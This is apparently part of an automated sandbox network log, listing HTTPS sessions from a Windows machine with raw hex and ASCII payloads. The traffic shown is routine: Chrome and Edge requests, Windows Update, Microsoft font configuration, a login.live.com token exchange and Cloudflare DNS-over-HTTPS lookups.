2024-11-28 07:55:30 UTC	372	IN	Data Raw: 31 36 64 0d 0a 64 61 74 61 5c 22 29 2c 49 64 28 5c 22 68 74 74 70 5c 22 29 2c 49 64 28 5c 22 68 74 74 70 73 5c 22 29 2c 49 64 28 5c 22 6d 61 69 6c 74 6f 5c 22 29 2c 49 64 28 5c 22 66 74 70 5c 22 29 2c 6e 65 77 20 5f 2e 48 64 28 61 5c 75 30 30 33 64 5c 75 30 30 33 65 2f 5e 5b 5e 3a 5d 2a 28 5b 2f 3f 23 5d 7c 24 29 2f 2e 74 65 73 74 28 61 29 29 5d 3b 5f 2e 4e 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 5c 75 30 30 33 64 61 7d 74 6f 53 74 72 69 6e 67 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 69 2b 5c 22 5c 22 7d 7d 3b 5f 2e 4f 64 5c 75 30 30 33 64 6e 65 77 20 5f 2e 4e 64 28 5f 2e 4a 64 3f 5f 2e 4a 64 2e 65 6d 70 74 79 48 54 4d 4c 3a 5c 22 5c 22 29 3b 5c 6e 7d 63 61 74 63 68 28 65 29 7b 5f 2e 5f 44 Data Ascii: 16ddata\"),Id(\"http\"),Id(\"https\"),Id(\"mailto\"),Id(\"ftp\"),new _.Hd(a\u003d\u003e/^[^:]*([/?#]\|$)/.test(a))];_.Nd\u003dclass{constructor(a){this.i\u003da}toString(){return this.i+\"\"}};_.Od\u003dnew _.Nd(_.Jd?_.Jd.emptyHTML:\"\");\n}catch(e){_._D
2024-11-28 07:55:30 UTC	1390	IN	Data Raw: 38 30 30 30 0d 0a 76 6f 69 64 20 30 7d 3b 5f 2e 51 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 29 72 65 74 75 72 6e 20 61 3b 69 66 28 74 79 70 65 6f 66 20 61 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 73 74 72 69 6e 67 5c 22 29 7b 69 66 28 21 61 29 72 65 74 75 72 6e 3b 61 5c 75 30 30 33 64 2b 61 7d 69 66 28 74 79 70 65 6f 66 20 61 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 6e 75 6d 62 65 72 5c 22 29 72 65 74 75 72 6e 20 4e 75 6d 62 65 72 2e 69 73 46 69 6e 69 74 65 28 61 29 3f 61 7c 30 3a 76 6f 69 64 20 30 7d 3b 53 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 29 7b 6c 65 74 20 61 5c 75 30 30 33 64 6e 75 6c 6c 3b 69 66 28 21 52 64 29 72 65 74 75 72 Data Ascii: 8000void 0};_.Qd\u003dfunction(a){if(a\u003d\u003dnull)return a;if(typeof a\u003d\u003d\u003d\"string\"){if(!a)return;a\u003d+a}if(typeof a\u003d\u003d\u003d\"number\")return Number.isFinite(a)?a\|0:void 0};Sd\u003dfunction(){let a\u003dnull;if(!Rd)retur
2024-11-28 07:55:30 UTC	1390	IN	Data Raw: 5c 75 30 30 33 64 30 29 7b 72 65 74 75 72 6e 20 5f 2e 76 62 28 5f 2e 64 65 28 61 2c 62 29 2c 63 29 7d 3b 5f 2e 65 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 5c 75 30 30 33 64 30 29 7b 72 65 74 75 72 6e 20 5f 2e 76 62 28 5f 2e 53 28 61 2c 62 29 2c 63 29 7d 3b 5f 2e 67 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 61 2e 6c 61 73 74 49 6e 64 65 78 4f 66 28 62 2c 30 29 5c 75 30 30 33 64 5c 75 30 30 33 64 30 7d 3b 52 64 5c 75 30 30 33 64 5f 2e 4a 64 3b 5f 2e 56 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 5c 75 30 30 33 64 61 7d 74 6f 53 74 72 69 6e 67 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 69 2b 5c 22 5c 22 7d 7d 3b 59 64 5c 75 30 30 33 64 Data Ascii: \u003d0){return _.vb(_.de(a,b),c)};_.ee\u003dfunction(a,b,c\u003d0){return _.vb(_.S(a,b),c)};_.ge\u003dfunction(a,b){return a.lastIndexOf(b,0)\u003d\u003d0};Rd\u003d_.Jd;_.Vd\u003dclass{constructor(a){this.i\u003da}toString(){return this.i+\"\"}};Yd\u003d

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.8	49712	142.250.181.100	443	4820	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:55:29 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-28 07:55:30 UTC	933	IN	HTTP/1.1 200 OK Version: 700238841 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Thu, 28 Nov 2024 07:55:30 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-28 07:55:30 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-11-28 07:55:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.8	49723	23.32.185.164	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:55:34 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-28 07:55:34 UTC	478	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Server: Kestrel ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-neu-z1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-OSID: 2 X-CID: 2 X-CCC: GB Cache-Control: public, max-age=66352 Date: Thu, 28 Nov 2024 07:55:34 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.8	49719	20.12.23.50	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:55:34 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=cF6eTsZ8X9Aeegc&MD=sWdb6FL8 HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-28 07:55:35 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 52a1f478-7491-4a02-9cbc-76936a7d99d6 MS-RequestId: 17f6813e-072c-46f4-8ad3-c593b0b7e4c7 MS-CV: DfRFyI68BUO+FuBD.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Thu, 28 Nov 2024 07:55:34 GMT Connection: close Content-Length: 24490
2024-11-28 07:55:35 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-28 07:55:35 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.8	49728	23.32.185.164	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:55:36 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-28 07:55:36 UTC	534	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Tue, 16 May 2017 22:58:00 GMT ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-Azure-Ref: 0WwMRYwAAAABe7whxSEuqSJRuLqzPsqCaTE9OMjFFREdFMTcxNQBjZWZjMjU4My1hOWIyLTQ0YTctOTc1NS1iNzZkMTdlMDVmN2Y= Cache-Control: public, max-age=66339 Date: Thu, 28 Nov 2024 07:55:36 GMT Content-Length: 55 Connection: close X-CID: 2
2024-11-28 07:55:36 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.8	49740	94.245.104.56	443	6736	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:55:42 UTC	428	OUT	GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1 Host: api.edgeoffer.microsoft.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-28 07:55:42 UTC	584	IN	HTTP/1.1 200 OK Content-Length: 0 Connection: close Content-Type: application/x-protobuf; charset=utf-8 Date: Thu, 28 Nov 2024 07:55:42 GMT Server: Microsoft-IIS/10.0 Set-Cookie: ARRAffinity=e1f509863d8c79e374bc21dbb2f2007f708664a2e6e58b88039631cda085b069;Path=/;HttpOnly;Secure;Domain=api.edgeoffer.microsoft.com Set-Cookie: ARRAffinitySameSite=e1f509863d8c79e374bc21dbb2f2007f708664a2e6e58b88039631cda085b069;Path=/;HttpOnly;SameSite=None;Secure;Domain=api.edgeoffer.microsoft.com Request-Context: appId=cid-v1:48af8e22-9427-456d-9a55-67a1e42a1bd9 X-Powered-By: ASP.NET

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.8	49743	20.190.181.4	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:55:44 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-28 07:55:44 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-28 07:55:44 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Thu, 28 Nov 2024 07:54:44 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C516_BAY x-ms-request-id: a23b216d-a843-4649-9cf2-bffef8a77656 PPServer: PPV: 30 H: PH1PEPF00012031 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Thu, 28 Nov 2024 07:55:43 GMT Connection: close Content-Length: 11390
2024-11-28 07:55:44 UTC	11390	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.8	49752	172.64.41.3	443	6736	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:55:45 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-28 07:55:45 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-28 07:55:45 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Thu, 28 Nov 2024 07:55:45 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e98cc287ba5440e-EWR alt-svc: h3=":443"; ma=86400
2024-11-28 07:55:45 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 03 00 04 8e fa 50 43 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomPC)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.8	49751	162.159.61.3	443	6736	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:55:45 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-28 07:55:45 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-28 07:55:45 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Thu, 28 Nov 2024 07:55:45 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e98cc284d503308-EWR alt-svc: h3=":443"; ma=86400
2024-11-28 07:55:45 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 ce 00 04 8e fa 50 23 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomP#)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.8	49750	162.159.61.3	443	6736	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:55:45 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-28 07:55:45 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-28 07:55:45 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Thu, 28 Nov 2024 07:55:45 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e98cc28af2b8ca7-EWR alt-svc: h3=":443"; ma=86400
2024-11-28 07:55:45 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 ec 00 04 8e fb 28 83 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom()

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.8	49780	162.159.61.3	443	6736	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 07:55:47 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-28 07:55:47 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 10 65 64 67 65 61 73 73 65 74 73 65 72 76 69 63 65 09 61 7a 75 72 65 65 64 67 65 03 6e 65 74 00 00 41 00 01 00 00 29 10 00 00 00 00 00 00 45 00 0c 00 41 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: edgeassetserviceazureedgenetA)EA
2024-11-28 07:55:48 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Thu, 28 Nov 2024 07:55:47 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e98cc376cd2f795-EWR alt-svc: h3=":443"; ma=86400
2024-11-28 07:55:48 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 03 00 01 00 01 10 65 64 67 65 61 73 73 65 74 73 65 72 76 69 63 65 09 61 7a 75 72 65 65 64 67 65 03 6e 65 74 00 00 41 00 01 c0 0c 00 05 00 01 00 00 07 04 00 17 10 65 64 67 65 61 73 73 65 74 73 65 72 76 69 63 65 03 61 66 64 c0 1d c0 3c 00 05 00 01 00 00 0e 0c 00 22 10 61 7a 75 72 65 65 64 67 65 2d 74 2d 70 72 6f 64 0e 74 72 61 66 66 69 63 6d 61 6e 61 67 65 72 c0 27 c0 5f 00 05 00 01 00 00 00 38 00 2c 04 73 68 65 64 08 64 75 61 6c 2d 6c 6f 77 0b 73 2d 70 61 72 74 2d 30 30 31 32 06 74 2d 30 30 30 39 08 74 2d 6d 73 65 64 67 65 c0 27 c0 ae 00 06 00 01 00 00 00 38 00 30 03 6e 73 31 c0 ae 06 6d 73 6e 68 73 74 09 6d 69 63 72 6f 73 6f 66 74 03 63 6f 6d 00 78 3a 8c fd 00 00 07 08 00 00 03 84 00 24 ea 00 00 00 00 3c 00 00 29 04 d0 00 00 00 00 00 Data Ascii: edgeassetserviceazureedgenetAedgeassetserviceafd<"azureedge-t-prodtrafficmanager'_8,sheddual-lows-part-0012t-0009t-msedge'80ns1msnhstmicrosoftcomx:$<)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.8	49761	20.190.181.4	443

Timestamp	Bytes transferred	Direction	Data
